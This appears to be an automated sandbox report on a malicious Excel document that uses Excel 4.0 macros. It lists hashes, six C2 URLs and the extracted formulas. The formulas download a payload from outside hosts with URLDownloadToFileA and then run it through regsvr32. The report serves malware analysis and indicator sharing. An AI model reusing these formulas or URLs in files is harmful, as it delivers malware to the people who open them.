a588deb21b9bb9f00c2955f80023fa71b83fdae505b64e35224e5649d80f5a75
- SHA256 a588deb21b9bb9f00c2955f80023fa71b83fdae505b64e35224e5649d80f5a75
-
Suspicious Office macro
Office document equipped with 4.0 macros.
General
- Target a588deb21b9bb9f00c2955f80023fa71b83fdae505b64e35224e5649d80f5a75
- Size 48KB
- Sample241120-w9mkjs1bjf
- SHA256 a588deb21b9bb9f00c2955f80023fa71b83fdae505b64e35224e5649d80f5a75
Score
10/10
Malware Config
Extracted
Rule
Excel 4.0 XLM Macro
C2
-
http://suleyera.com/components/CNGhltc5v2K6/
-
http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/
-
http://moveit.savvyint.com/config/DsfssbO7BYG/
-
https://schwizer.net/styled/D0MG/
-
http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/
-
http://shimal.atwebpages.com/wp-content/xkaRkHr/
Attributes
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()
Signatures
- Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
File Explorer
-
a588deb21b9bb9f00c2955f80023fa71b83fdae505b64e35224e5649d80f5a75